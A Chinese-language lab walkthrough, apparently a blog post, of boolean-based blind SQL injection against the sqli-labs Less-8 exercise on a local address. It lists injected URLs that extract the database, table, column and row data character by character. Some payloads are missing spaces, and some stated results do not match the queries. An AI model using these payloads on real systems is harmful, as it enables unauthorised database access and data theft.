URL地址http://192.168.0.102/Less-8/?id=1' and left(database(),1)='s' --+ 结果是s 输入a没有显示没有显示 输入s都显示了
查询第二个 URL地址http://192.168.0.102/Less-8/?id=1' and left(database(),2)='se‘ --+ 结果是e 输入a没有显示
输入e显示了说明就是e 还可以用burp进行查询方便 直接就可以查询出来 其他函数查询方法
1 2 3 4 5 6 7 8 9 10 11
regexp函数 http://192.168.0.102/Less-8/?id=1' and database() regexp '^s' --+
like函数 http://192.168.0.102/Less-8/?id=1' and database() like 'd%' --+
substr()函数和ascii()函数 http://192.168.0.102/Less-8/?id=1' and ascii(substr((selectdatabase()),1,1))=115--+
ord()函数和mid()函数 http://192.168.0.102/Less-8/?id=1' and ord(mid((select database()),1,1))=115 --+
以此类推找到数据库名是security其他的库就不查询
查询表 上面已经叫库明查询出来了
下面演示的事left函数进行查询的 URL地址http://192.168.0.102/Less-8/ ?id=1' and left((select table_name from information_schema.tables where table_schema='security' LIMIT 0,1) ,1)='e' --+ 结果是e 输入a没有显示 输入e就显示了说明第一个字符是e
查询第二个 URL地址http://192.168.0.102/Less-8/ ?id=1' and left((select table_name from information_schema.tables where table_schema='security' LIMIT 0,1) ,2)='ea' --+ 结果是m 输入a没有显示 输入m就显示了 用burp进行查询提升速度 是a 其他函数查询
1 2 3 4 5 6 7 8 9 10 11
regexp函数 http://192.168.0.102/Less-8/?id=1' and (select table_name from information_schema.tables where table_schema='security'LIMIT0,1) regexp '^e'--+查询到emails
like函数 http://192.168.0.102/Less-8/?id=1' and (select table_name from information_schema.tables where table_schema='security' LIMIT 0,1) like 'e%' --+ substr()函数和ascii()函数 http://192.168.0.102/Less-8/?id=1'andascii(substr((select table_name from information_schema.tables where table_schema='security'LIMIT0,1) ,1,1))=101--+
ord()函数和mid()函数 http://192.168.0.102/Less-8/?id=1' and ord(mid((select table_name from information_schema.tables where table_schema='security' LIMIT 0,1),1,1))=101 --+
以此类推叫第一个给查询出来了emails其他的表就不查询 3. 查询列 上面我已经第一个给查询出来了emails 利用这个查询列 下面演示的事left函数进行查询的 URL地址http://192.168.0.102/Less-8/?id=1' and left((select column_name from information_schema.columns where table_name='emails' LIMIT 0,1),1)='i' --+ 结果是i 输入a没有显示 输入i就显示了 查询第二个字符 URL地址http://192.168.0.102/Less-8/?id=1' and left((select column_name from information_schema.columns where table_name='emails' LIMIT 0,1),2)='id' --+ 结果是d 输入a没有显示 输入d显示了 用burp就不演示了 其他函数查询方法
1 2 3 4 5 6 7 8 9 10 11
regexp函数 http://192.168.0.102/Less-8/?id=1' and (select column_name from information_schema.columns where table_name='emails'LIMIT0,1) regexp '^i'--+
like函数 http://192.168.0.102/Less-8/?id=1' and (select column_name from information_schema.columns where table_name='emails' LIMIT 0,1) like 'i%' --+ substr()函数和ascii()函数 http://192.168.0.102/Less-8/?id=1'andascii(substr((select column_name from information_schema.columns where table_name='emails'LIMIT0,1),1,1))=105--+
ord()函数和mid()函数 http://192.168.0.102/Less-8/?id=1' and ord(mid((select column_name from information_schema.columns where table_name='emails' LIMIT 0,1),1,1))=105 --+
查询出来了第一个列是id其他的列就不查询 4. 查询数据内容 通过上面的查询知道了库明,表明,列明 就可以查询数据了 URL地址http://192.168.0.102/Less-8/?id=1' and left((select id from security.emails LIMIT 0,1 ),1)='2' --+ 结果是1 输入2没有显示 输入1显示了 其他函数查询方法
1 2 3 4 5 6 7 8 9 10 11 12
regexp函数 http://192.168.0.102/Less-8/?id=1' and (selectidfrom security.emails LIMIT0,1 ) regexp '^1'--+
like函数 http://192.168.0.102/Less-8/?id=1' and (select id from security.emails LIMIT 0,1 ) like '1%' --+ substr()函数和ascii()函数 http://192.168.0.102/Less-8/?id=1'andascii(substr((selectidfrom security.emails LIMIT0,1 ),1,1))=49--+
ord()函数和mid()函数 http://192.168.0.102/Less-8/?id=1' and ord(mid((select id from security.emails LIMIT 0,1 ) ,1,1))=49 --+